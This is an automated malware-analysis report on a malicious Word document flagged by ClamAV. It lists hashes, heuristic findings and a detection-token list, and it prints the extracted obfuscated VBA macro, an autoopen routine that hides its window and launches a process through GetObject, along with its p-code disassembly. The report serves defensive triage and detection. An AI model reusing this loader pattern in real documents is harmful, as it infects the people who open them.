Office (OLE) malware analysis — malicious · 4771951b18a70893

MALICIOUS

Office (OLE)

143.9 KB Created: 2019-03-20 08:30:00 Authoring application: Microsoft Office Word First seen: 2021-02-18

MD5: e9ef0b0c1b8c747e1a602cf61f616247 SHA-1: 452d611a69276c59be7ef0766dc25ab3573f0664 SHA-256: 4771951b18a708931be4c0e5624e0d0e60f87d393ac8c8bbcee4340b1e2b69e9

190 Risk Score

Heuristics 7

ClamAV: Doc.Malware.Sagent-6902288-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Sagent-6902288-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
GetObject call high OLE_VBA_GETOBJ

GetObject call
Matched line in script
```
Set wCGxUxB = GetObject(tAZQ_B.UAABUZA)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub autoopen()
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14538 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	14538 bytes
SHA-256: `f139afcb23985c5f3f0fcfcab86d03b46a65d25a619091796a317d546a07289a`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "zBBAAw" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "tAZQ_B" Attribute VB_Base = "0{635A0618-116F-42DC-81B5-3D0498827A3E}{EC4DE146-1DC1-4C0D-81EE-DAD1FE0514C1}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "nUQUBD" Sub autoopen() On Error Resume Next If HBAw_Q4A = TGABUoUA Then dcABAAx = 720773148 * Hex(573673709) / 60407271 + Sqr(978585091) * 916843779 / CInt(945231407) * (882288782 * 418057296) BACwAU = (866185332 - Chr(lAGBQ_) / HAkA1BZ / 881700869 + z_ABAU / Fix(554426551 + Log(KkU1B4A * Sgn(914323785) + l1Zo_A / CSng(254300688)))) End If If wD_QBU = S1UAkA Then TDocAXU = 99659485 * Hex(20058333) / 739469662 + Sqr(932776801) * 553076985 / CInt(159002522) * (844528018 * 806634912) nGGABwA = (652722581 - Chr(UxQDwCQ) / VkAQDU / 529044965 + jCZ_ADD / Fix(654645913 + Log(bBBAUA * Sgn(307111307) + iU44wZ / CSng(869714904)))) End If If vABxAcXA = AADUZcA Then BD_4DAUc = 236890668 * Hex(281483848) / 980791537 + Sqr(484035143) * 132576297 / CInt(161533978) * (334443729 * 615884484) PAAAAQA = (555775054 - Chr(pD1AAC) / WAQBocC / 778485193 + toAQGDAk / Fix(489830330 + Log(zQZDwX * Sgn(165771220) + WXQcXD / CSng(836112643)))) End If Set wCGxUxB = GetObject(tAZQ_B.UAABUZA) If vwAxAk = fCxDcA Then txAZAA = 680722426 * Hex(831329719) / 788319246 + Sqr(210643544) * 629989943 / CInt(942570148) * (30160108 * 125474389) zBBoGXA = (583751228 - Chr(QA_AC1) / NABkxB / 545360112 + C_AA_D / Fix(466911424 + Log(zQAUBBw * Sgn(946967472) + TDAAAA / CSng(858360468)))) End If If YAA_k1C_ = GwDGUC Then XACAAUAA = 79920443 * Hex(188534406) / 647757044 + Sqr(538919117) * 341250610 / CInt(615846956) * (335755752 * 273911447) Gc4AQZ = (969397979 - Chr(IcABAAAA) / KQAA1w / 756045161 + tZoAAU / Fix(833120137 + Log(BA_1AA * Sgn(879168603) + jZ1AAU / CSng(262616047)))) End If wCGxUxB.ShowWindow = 667434 - 667434 If wZxBxA = uwD4Uxc Then RoQ1UA = 935210567 * Hex(786963101) / 962829557 + Sqr(656993655) * 188174667 / CInt(467828876) * (245010151 * 755906919) pwBcAAB_ = (960241938 - Chr(bDQ_AA) / ZCcwoDAA / 991163281 + h_AQoA / Fix(153933426 + Log(bxAAx_ * Sgn(406673217) + KxGAQDA / CSng(807236495)))) End If If LAADwww = WBBAkCU Then GwAQCBw = 84963699 * Hex(866927520) / 191231961 + Sqr(327337088) * 19461144 / CInt(582692977) * (954043387 * 10320805) f4DQAAA = (746725079 - Chr(lXQGAB) / iCUU1B / 122067907 + kDB4AX / Fix(477149810 + Log(LBA_oQ * Sgn(953599257) + tAZG_CC / CSng(428401662)))) End If If vXx_XAZ = tUUAADw Then dUDADBAA = 930209051 * Hex(82527598) / 907534685 + Sqr(451648126) * 324177419 / CInt(149392085) * (49429930 * 756405424) qCAAkUA = (278038076 - Chr(ZUCUBwDX) / rAGUcA / 570098903 + dAoUAUB / Fix(294503861 + Log(wcDAD1Q * Sgn(138655485) + GABUQUAA / CSng(226354254)))) End If GetObject(tAZQ_B.FCUAXBA). _ Create# jUBUAxkx + tAZQ_B.NU_cwDA4 + kBDXAABk + tAZQ_B.IxocAABX + DXAQ_A + tAZQ_B.BABDDQDD + n1AwAA, iUGQxZo, wCGxUxB, NA4cAUk If HXAAAUAA = GoxAQA1 Then LA1AXo = 344603657 * Hex(604161073) / 857313564 + Sqr(266471008) * 511869992 / CInt(77334159) * (770356485 * 269241467) JUAkD1G = (83109844 - Chr(XA_kGA) / XcooCAAD / 56842516 + RDADQDD / Fix(219749515 + Log(wkX_AAQA * Sgn(720521005) + LxAGZ1 / CSng(731589832)))) End If If O4AAoBAx = RAAxC4A Then MA_BAcA = 149530676 * Hex(930368712) / 950885847 + Sqr(248529490) * 847847449 / CInt(435290086) * (251116524 * 775834819) fABAXAAC = (977898552 - Chr(mUCGxUc) / mZAAAkAA / 814876213 + BCcxcAAA / Fix(515372193 + Log(RAAUwxBB * Sgn(734246969) + LXkAAA / CSng(84019171)))) End If If w_UDxAAU = cABAA_AA Then UAkCDZB = 432454212 * Hex(172709362) / 696454008 + Sqr(133287038) * 455276626 / CInt(913143736) * (789054418 * 631399345) GBAxwZ1 = (615592783 - Chr(iGABAoB) / R_AZAcQ / 26842195 + uAAAow / Fix(578724095 + Log(IABAGAA * Sgn(767424637) + E4DAcG / CSng(116262117)))) End If End Sub ' Processing file: /opt/analyzer/scan_staging/86f6c35a7f9b4fd2a4d8a72979d18588.bin ' =============================================================================== ' Module streams: ' Macros/VBA/zBBAAw - 1104 bytes ' Macros/VBA/tAZQ_B - 1156 bytes ' Macros/VBA/nUQUBD - 6520 bytes ' Line #0: ' FuncDefn (Sub nUQUBD()) ' Line #1: ' OnError (Resume Next) ' Line #2: ' Ld autoopen ' Ld HBAw_Q4A ' Eq ' IfBlock ' Line #3: ' LitDI4 0x201C 0x2AF6 ' LitDI4 0x90ED 0x2231 ' ArgsLd Hex 0x0001 ' Mul ' LitDI4 0xBDE7 0x0399 ' Div ' LitDI4 0x0603 0x3A54 ' ArgsLd Sqr 0x0001 ' LitDI4 0xED03 0x36A5 ' Mul ' LitDI4 0x162F 0x3857 ' Coerce (Int) ' Div ' LitDI4 0xA88E 0x3496 ' LitDI4 0x0C50 0x18EB ' Mul ' Paren ' Mul ' Add ' St TGABUoUA ' Line #4: ' LitDI4 0xF074 0x33A0 ' Ld BACwAU ' ArgsLd Chr 0x0001 ' Ld lAGBQ_ ' Div ' LitDI4 0xB005 0x348D ' Div ' Sub ' Ld HAkA1BZ ' LitDI4 0xE0B7 0x210B ' Ld z_ABAU ' LitDI4 0x7949 0x367F ' FnSgn ' Mul ' Ld KkU1B4A ' LitDI4 0x5210 0x0F28 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St dcABAAx ' Line #5: ' EndIfBlock ' Line #6: ' Ld l1Zo_A ' Ld wD_QBU ' Eq ' IfBlock ' Line #7: ' LitDI4 0xAEDD 0x05F0 ' LitDI4 0x10DD 0x0132 ' ArgsLd Hex 0x0001 ' Mul ' LitDI4 0x695E 0x2C13 ' Div ' LitDI4 0x0B61 0x3799 ' ArgsLd Sqr 0x0001 ' LitDI4 0x48F9 0x20F7 ' Mul ' LitDI4 0x2F9A 0x097A ' Coerce (Int) ' Div ' LitDI4 0x7992 0x3256 ' LitDI4 0x45A0 0x3014 ' Mul ' Paren ' Mul ' Add ' St S1UAkA ' Line #8: ' LitDI4 0xC195 0x26E7 ' Ld nGGABwA ' ArgsLd Chr 0x0001 ' Ld UxQDwCQ ' Div ' LitDI4 0x95E5 0x1F88 ' Div ' Sub ' Ld VkAQDU ' LitDI4 0x1A99 0x2705 ' Ld jCZ_ADD ' LitDI4 0x258B 0x124E ' FnSgn ' Mul ' Ld bBBAUA ' LitDI4 0xCBD8 0x33D6 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St TDocAXU ' Line #9: ' EndIfBlock ' Line #10: ' Ld iU44wZ ' Ld vABxAcXA ' Eq ' IfBlock ' Line #11: ' LitDI4 0xAA2C 0x0E1E ' LitDI4 0x1A48 0x10C7 ' ArgsLd Hex 0x0001 ' Mul ' LitDI4 0xB0F1 0x3A75 ' Div ' LitDI4 0xCA47 0x1CD9 ' ArgsLd Sqr 0x0001 ' LitDI4 0xF429 0x07E6 ' Mul ' LitDI4 0xD01A 0x09A0 ' Coerce (Int) ' Div ' LitDI4 0x34D1 0x13EF ' LitDI4 0xA6C4 0x24B5 ' Mul ' Paren ' Mul ' Add ' St AADUZcA ' Line #12: ' LitDI4 0x744E 0x2120 ' Ld PAAAAQA ' ArgsLd Chr 0x0001 ' Ld pD1AAC ' Div ' LitDI4 0xBDC9 0x2E66 ' Div ' Sub ' Ld WAQBocC ' LitDI4 0x37BA 0x1D32 ' Ld toAQGDAk ' LitDI4 0x77D4 0x09E1 ' FnSgn ' Mul ' Ld zQZDwX ' LitDI4 0x1103 0x31D6 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St BD_4DAUc ' Line #13: ' EndIfBlock ' Line #14: ' SetStmt ' Ld MSForms ' MemLd GetObject ' ArgsLd wCGxUxB 0x0001 ' Set WXQcXD ' Line #15: ' Ld UAABUZA ' Ld vwAxAk ' Eq ' IfBlock ' Line #16: ' LitDI4 0xFFFA 0x2892 ' LitDI4 0x15B7 0x318D ' ArgsLd Hex 0x0001 ' Mul ' LitDI4 0xCC0E 0x2EFC ' Div ' LitDI4 0x2A58 0x0C8E ' ArgsLd Sqr 0x0001 ' LitDI4 0xE237 0x258C ' Mul ' LitDI4 0x7AA4 0x382E ' Coerce (Int) ' Div ' LitDI4 0x34EC 0x01CC ' LitDI4 0x9655 0x077A ' Mul ' Paren ' Mul ' Add ' St fCxDcA ' Line #17: ' LitDI4 0x563C 0x22CB ' Ld zBBoGXA ' ArgsLd Chr 0x0001 ' Ld QA_AC1 ' Div ' LitDI4 0x88F0 0x2081 ' Div ' Sub ' Ld NABkxB ' LitDI4 0x80C0 0x1BD4 ' Ld C_AA_D ' LitDI4 0x93B0 0x3871 ' FnSgn ' Mul ' Ld zQAUBBw ' LitDI4 0x8A94 0x3329 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St txAZAA ' Line #18: ' EndIfBlock ' Line #19: ' Ld TDAAAA ' Ld YAA_k1C_ ' Eq ' IfBlock ' Line #20: ' LitDI4 0x7D3B 0x04C3 ' LitDI4 0xCE86 0x0B3C ' ArgsLd Hex 0x0001 ' Mul ' LitDI4 0xFCF4 0x269B ' Div ' LitDI4 0x40CD 0x201F ' ArgsLd Sqr 0x0001 ' LitDI4 0x1232 0x1457 ' Mul ' LitDI4 0x142C 0x24B5 ' Coerce (Int) ' Div ' LitDI4 0x39E8 0x1403 ' LitDI4 0x8E97 0x1053 ' Mul ' Paren ' Mul ' Add ' St GwDGUC ' Line #21: ' LitDI4 0xD6DB 0x39C7 ' Ld Gc4AQZ ' ArgsLd Chr 0x0001 ' Ld IcABAAAA ' Div ' LitDI4 0x5569 0x2D10 ' Div ' Sub ' Ld KQAA1w ' LitDI4 0x6789 0x31A8 ' Ld tZoAAU ' LitDI4 0x0C5B 0x3467 ' FnSgn ' Mul ' Ld BA_1AA ' LitDI4 0x33EF 0x0FA7 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St XACAAUAA ' Line #22: ' EndIfBlock ' Line #23: ' LitDI4 0x2F2A 0x000A ' LitDI4 0x2F2A 0x000A ' Sub ' Ld WXQcXD ' MemSt jZ1AAU ' Line #24: ' Ld ShowWindow ' Ld wZxBxA ' Eq ' IfBlock ' Line #25: ' LitDI4 0x2E47 0x37BE ' LitDI4 0x1A9D 0x2EE8 ' ArgsLd Hex 0x0001 ' Mul ' LitDI4 0x9CF5 0x3963 ' Div ' LitDI4 0xED77 0x2728 ' ArgsLd Sqr 0x0001 ' LitDI4 0x514B 0x0B37 ' Mul ' LitDI4 0x808C 0x1BE2 ' Coerce (Int) ' Div ' LitDI4 0x8EE7 0x0E9A ' LitDI4 0x3967 0x2D0E ' Mul ' Paren ' Mul ' Add ' St uwD4Uxc ' Line #26: ' LitDI4 0x2112 0x393C ' Ld pwBcAAB_ ' ArgsLd Chr 0x0001 ' Ld bDQ_AA ' Div ' LitDI4 0xF391 0x3B13 ' Div ' Sub ' Ld ZCcwoDAA ' LitDI4 0xD672 0x092C ' Ld h_AQoA ' LitDI4 0x5741 0x183D ' FnSgn ' Mul ' Ld bxAAx_ ' LitDI4 0x738F 0x301D ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St RoQ1UA ' Line #27: ' EndIfBlock ' Line #28: ' Ld KxGAQDA ' Ld LAADwww ' Eq ' IfBlock ' Line #29: ' LitDI4 0x7173 0x0510 ' LitDI4 0x43A0 0x33AC ' ArgsLd Hex 0x0001 ' Mul ' LitDI4 0xF7D9 0x0B65 ' Div ' LitDI4 0xC480 0x1382 ' ArgsLd Sqr 0x0001 ' LitDI4 0xF418 0x0128 ' Mul ' LitDI4 0x3071 0x22BB ' Coerce (Int) ' Div ' LitDI4 0x8BFB 0x38DD ' LitDI4 0x7BA5 0x009D ' Mul ' Paren ' Mul ' Add ' St WBBAkCU ' Line #30: ' LitDI4 0x1ED7 0x2C82 ' Ld f4DQAAA ' ArgsLd Chr 0x0001 ' Ld lXQGAB ' Div ' LitDI4 0x9BC3 0x0746 ' Div ' Sub ' Ld iCUU1B ' LitDI4 0xBA72 0x1C70 ' Ld kDB4AX ' LitDI4 0xC519 0x38D6 ' FnSgn ' Mul ' Ld LBA_oQ ' LitDI4 0xE3FE 0x1988 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St GwAQCBw ' Line #31: ' EndIfBlock ' Line #32: ' Ld tAZG_CC ' Ld vXx_XAZ ' Eq ' IfBlock ' Line #33: ' LitDI4 0xDD1B 0x3771 ' LitDI4 0x456E 0x04EB ' ArgsLd Hex 0x0001 ' Mul ' LitDI4 0xE15D 0x3617 ' Div ' LitDI4 0x9A7E 0x1AEB ' ArgsLd Sqr 0x0001 ' LitDI4 0x8E0B 0x1352 ' Mul ' LitDI4 0x8AD5 0x08E7 ' Coerce (Int) ' Div ' LitDI4 0x3DAA 0x02F2 ' LitDI4 0xD4B0 0x2D15 ' Mul ' Paren ' Mul ' Add ' St tUUAADw ' Line #34: ' LitDI4 0x863C 0x1092 ' Ld qCAAkUA ' ArgsLd Chr 0x0001 ' Ld ZUCUBwDX ' Div ' LitDI4 0x04D7 0x21FB ' Div ' Sub ' Ld rAGUcA ' LitDI4 0xC5B5 0x118D ' Ld dAoUAUB ' LitDI4 0xB6FD 0x0843 ' FnSgn ' Mul ' Ld wcDAD1Q ' LitDI4 0xE44E 0x0D7D ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St dUDADBAA ' Line #35: ' EndIfBlock ' Line #36: ' LineCont 0x0004 07 00 00 00 ' Ld Create ' Ld MSForms ' MemLd jUBUAxkx ' Add ' Ld NU_cwDA4 ' Add ' Ld MSForms ' MemLd kBDXAABk ' Add ' Ld IxocAABX ' Add ' Ld MSForms ' MemLd DXAQ_A ' Add ' Ld BABDDQDD ' Add ' Ld n1AwAA ' Ld WXQcXD ' Ld iUGQxZo ' Ld MSForms ' MemLd GABUQUAA ' ArgsLd wCGxUxB 0x0001 ' ArgsMemCall FCUAXBA# 0x0004 ' Line #37: ' Ld NA4cAUk ' Ld HXAAAUAA ' Eq ' IfBlock ' Line #38: ' LitDI4 0x3C09 0x148A ' LitDI4 0xC431 0x2402 ' ArgsLd Hex 0x0001 ' Mul ' LitDI4 0x911C 0x3319 ' Div ' LitDI4 0x0660 0x0FE2 ' ArgsLd Sqr 0x0001 ' LitDI4 0x8428 0x1E82 ' Mul ' LitDI4 0x068F 0x049C ' Coerce (Int) ' Div ' LitDI4 0xB505 0x2DEA ' LitDI4 0x4C7B 0x100C ' Mul ' Paren ' Mul ' Add ' St GoxAQA1 ' Line #39: ' LitDI4 0x27D4 0x04F4 ' Ld JUAkD1G ' ArgsLd Chr 0x0001 ' Ld XA_kGA ' Div ' LitDI4 0x5914 0x0363 ' Div ' Sub ' Ld XcooCAAD ' LitDI4 0x1C8B 0x0D19 ' Ld RDADQDD ' LitDI4 0x472D 0x2AF2 ' FnSgn ' Mul ' Ld wkX_AAQA ' LitDI4 0x2CC8 0x2B9B ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St LA1AXo ' Line #40: ' EndIfBlock ' Line #41: ' Ld LxAGZ1 ' Ld O4AAoBAx ' Eq ' IfBlock ' Line #42: ' LitDI4 0xA834 0x08E9 ' LitDI4 0x4CC8 0x3774 ' ArgsLd Hex 0x0001 ' Mul ' LitDI4 0x5DD7 0x38AD ' Div ' LitDI4 0x4252 0x0ED0 ' ArgsLd Sqr 0x0001 ' LitDI4 0x2019 0x3289 ' Mul ' LitDI4 0xFFE6 0x19F1 ' Coerce (Int) ' Div ' LitDI4 0xBBEC 0x0EF7 ' LitDI4 0x4CC3 0x2E3E ' Mul ' Paren ' Mul ' Add ' St RAAxC4A ' Line #43: ' LitDI4 0x8C38 0x3A49 ' Ld fABAXAAC ' ArgsLd Chr 0x0001 ' Ld mUCGxUc ' Div ' LitDI4 0x0635 0x3092 ' Div ' Sub ' Ld mZAAAkAA ' LitDI4 0xF4A1 0x1EB7 ' Ld BCcxcAAA ' LitDI4 0xB839 0x2BC3 ' FnSgn ' Mul ' Ld RAAUwxBB ' LitDI4 0x07E3 0x0502 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St MA_BAcA ' Line #44: ' EndIfBlock ' Line #45: ' Ld LXkAAA ' Ld w_UDxAAU ' Eq ' IfBlock ' Line #46: ' LitDI4 0xBA44 0x19C6 ' LitDI4 0x55F2 0x0A4B ' ArgsLd Hex 0x0001 ' Mul ' LitDI4 0x0B78 0x2983 ' Div ' LitDI4 0xCC7E 0x07F1 ' ArgsLd Sqr 0x0001 ' LitDI4 0xF852 0x1B22 ' Mul ' LitDI4 0x77B8 0x366D ' Coerce (Int) ' Div ' LitDI4 0x03D2 0x2F08 ' LitDI4 0x63B1 0x25A2 ' Mul ' Paren ' Mul ' Add ' St cABAA_AA ' Line #47: ' LitDI4 0x334F 0x24B1 ' Ld GBAxwZ1 ' ArgsLd Chr 0x0001 ' Ld iGABAoB ' Div ' LitDI4 0x9453 0x0199 ' Div ' Sub ' Ld R_AZAcQ ' LitDI4 0xA0FF 0x227E ' Ld uAAAow ' LitDI4 0xF87D 0x2DBD ' FnSgn ' Mul ' Ld IABAGAA ' LitDI4 0x04E5 0x06EE ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St UAkCDZB ' Line #48: ' EndIfBlock ' Line #49: ' EndSub ' Line #50:

SHA-256: f139afcb23985c5f3f0fcfcab86d03b46a65d25a619091796a317d546a07289a

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "zBBAAw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "tAZQ_B"
Attribute VB_Base = "0{635A0618-116F-42DC-81B5-3D0498827A3E}{EC4DE146-1DC1-4C0D-81EE-DAD1FE0514C1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "nUQUBD"
Sub autoopen()
On Error Resume Next
   If HBAw_Q4A = TGABUoUA Then
      dcABAAx = 720773148 * Hex(573673709) / 60407271 + Sqr(978585091) * 916843779 / CInt(945231407) * (882288782 * 418057296)
      BACwAU = (866185332 - Chr(lAGBQ_) / HAkA1BZ / 881700869 + z_ABAU / Fix(554426551 + Log(KkU1B4A * Sgn(914323785) + l1Zo_A / CSng(254300688))))
End If
   If wD_QBU = S1UAkA Then
      TDocAXU = 99659485 * Hex(20058333) / 739469662 + Sqr(932776801) * 553076985 / CInt(159002522) * (844528018 * 806634912)
      nGGABwA = (652722581 - Chr(UxQDwCQ) / VkAQDU / 529044965 + jCZ_ADD / Fix(654645913 + Log(bBBAUA * Sgn(307111307) + iU44wZ / CSng(869714904))))
End If
   If vABxAcXA = AADUZcA Then
      BD_4DAUc = 236890668 * Hex(281483848) / 980791537 + Sqr(484035143) * 132576297 / CInt(161533978) * (334443729 * 615884484)
      PAAAAQA = (555775054 - Chr(pD1AAC) / WAQBocC / 778485193 + toAQGDAk / Fix(489830330 + Log(zQZDwX * Sgn(165771220) + WXQcXD / CSng(836112643))))
End If
Set wCGxUxB = GetObject(tAZQ_B.UAABUZA)
   If vwAxAk = fCxDcA Then
      txAZAA = 680722426 * Hex(831329719) / 788319246 + Sqr(210643544) * 629989943 / CInt(942570148) * (30160108 * 125474389)
      zBBoGXA = (583751228 - Chr(QA_AC1) / NABkxB / 545360112 + C_AA_D / Fix(466911424 + Log(zQAUBBw * Sgn(946967472) + TDAAAA / CSng(858360468))))
End If
   If YAA_k1C_ = GwDGUC Then
      XACAAUAA = 79920443 * Hex(188534406) / 647757044 + Sqr(538919117) * 341250610 / CInt(615846956) * (335755752 * 273911447)
      Gc4AQZ = (969397979 - Chr(IcABAAAA) / KQAA1w / 756045161 + tZoAAU / Fix(833120137 + Log(BA_1AA * Sgn(879168603) + jZ1AAU / CSng(262616047))))
End If
wCGxUxB.ShowWindow = 667434 - 667434
   If wZxBxA = uwD4Uxc Then
      RoQ1UA = 935210567 * Hex(786963101) / 962829557 + Sqr(656993655) * 188174667 / CInt(467828876) * (245010151 * 755906919)
      pwBcAAB_ = (960241938 - Chr(bDQ_AA) / ZCcwoDAA / 991163281 + h_AQoA / Fix(153933426 + Log(bxAAx_ * Sgn(406673217) + KxGAQDA / CSng(807236495))))
End If
   If LAADwww = WBBAkCU Then
      GwAQCBw = 84963699 * Hex(866927520) / 191231961 + Sqr(327337088) * 19461144 / CInt(582692977) * (954043387 * 10320805)
      f4DQAAA = (746725079 - Chr(lXQGAB) / iCUU1B / 122067907 + kDB4AX / Fix(477149810 + Log(LBA_oQ * Sgn(953599257) + tAZG_CC / CSng(428401662))))
End If
   If vXx_XAZ = tUUAADw Then
      dUDADBAA = 930209051 * Hex(82527598) / 907534685 + Sqr(451648126) * 324177419 / CInt(149392085) * (49429930 * 756405424)
      qCAAkUA = (278038076 - Chr(ZUCUBwDX) / rAGUcA / 570098903 + dAoUAUB / Fix(294503861 + Log(wcDAD1Q * Sgn(138655485) + GABUQUAA / CSng(226354254))))
End If
GetObject(tAZQ_B.FCUAXBA). _
Create# jUBUAxkx + tAZQ_B.NU_cwDA4 + kBDXAABk + tAZQ_B.IxocAABX + DXAQ_A + tAZQ_B.BABDDQDD + n1AwAA, iUGQxZo, wCGxUxB, NA4cAUk
   If HXAAAUAA = GoxAQA1 Then
      LA1AXo = 344603657 * Hex(604161073) / 857313564 + Sqr(266471008) * 511869992 / CInt(77334159) * (770356485 * 269241467)
      JUAkD1G = (83109844 - Chr(XA_kGA) / XcooCAAD / 56842516 + RDADQDD / Fix(219749515 + Log(wkX_AAQA * Sgn(720521005) + LxAGZ1 / CSng(731589832))))
End If
   If O4AAoBAx = RAAxC4A Then
      MA_BAcA = 149530676 * Hex(930368712) / 950885847 + Sqr(248529490) * 847847449 / CInt(435290086) * (251116524 * 775834819)
      fABAXAAC = (977898552 - Chr(mUCGxUc) / mZAAAkAA / 814876213 + BCcxcAAA / Fix(515372193 + Log(RAAUwxBB * Sgn(734246969) + LXkAAA / CSng(84019171))))
End If
   If w_UDxAAU = cABAA_AA Then
      UAkCDZB = 432454212 * Hex(172709362) / 696454008 + Sqr(133287038) * 455276626 / CInt(913143736) * (789054418 * 631399345)
      GBAxwZ1 = (615592783 - Chr(iGABAoB) / R_AZAcQ / 26842195 + uAAAow / Fix(578724095 + Log(IABAGAA * Sgn(767424637) + E4DAcG / CSng(116262117))))
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/86f6c35a7f9b4fd2a4d8a72979d18588.bin
' ===============================================================================
' Module streams:
' Macros/VBA/zBBAAw - 1104 bytes
' Macros/VBA/tAZQ_B - 1156 bytes
' Macros/VBA/nUQUBD - 6520 bytes
' Line #0:
' 	FuncDefn (Sub nUQUBD())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld autoopen 
' 	Ld HBAw_Q4A 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	LitDI4 0x201C 0x2AF6 
' 	LitDI4 0x90ED 0x2231 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	LitDI4 0xBDE7 0x0399 
' 	Div 
' 	LitDI4 0x0603 0x3A54 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0xED03 0x36A5 
' 	Mul 
' 	LitDI4 0x162F 0x3857 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0xA88E 0x3496 
' 	LitDI4 0x0C50 0x18EB 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St TGABUoUA 
' Line #4:
' 	LitDI4 0xF074 0x33A0 
' 	Ld BACwAU 
' 	ArgsLd Chr 0x0001 
' 	Ld lAGBQ_ 
' 	Div 
' 	LitDI4 0xB005 0x348D 
' 	Div 
' 	Sub 
' 	Ld HAkA1BZ 
' 	LitDI4 0xE0B7 0x210B 
' 	Ld z_ABAU 
' 	LitDI4 0x7949 0x367F 
' 	FnSgn 
' 	Mul 
' 	Ld KkU1B4A 
' 	LitDI4 0x5210 0x0F28 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St dcABAAx 
' Line #5:
' 	EndIfBlock 
' Line #6:
' 	Ld l1Zo_A 
' 	Ld wD_QBU 
' 	Eq 
' 	IfBlock 
' Line #7:
' 	LitDI4 0xAEDD 0x05F0 
' 	LitDI4 0x10DD 0x0132 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	LitDI4 0x695E 0x2C13 
' 	Div 
' 	LitDI4 0x0B61 0x3799 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x48F9 0x20F7 
' 	Mul 
' 	LitDI4 0x2F9A 0x097A 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x7992 0x3256 
' 	LitDI4 0x45A0 0x3014 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St S1UAkA 
' Line #8:
' 	LitDI4 0xC195 0x26E7 
' 	Ld nGGABwA 
' 	ArgsLd Chr 0x0001 
' 	Ld UxQDwCQ 
' 	Div 
' 	LitDI4 0x95E5 0x1F88 
' 	Div 
' 	Sub 
' 	Ld VkAQDU 
' 	LitDI4 0x1A99 0x2705 
' 	Ld jCZ_ADD 
' 	LitDI4 0x258B 0x124E 
' 	FnSgn 
' 	Mul 
' 	Ld bBBAUA 
' 	LitDI4 0xCBD8 0x33D6 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
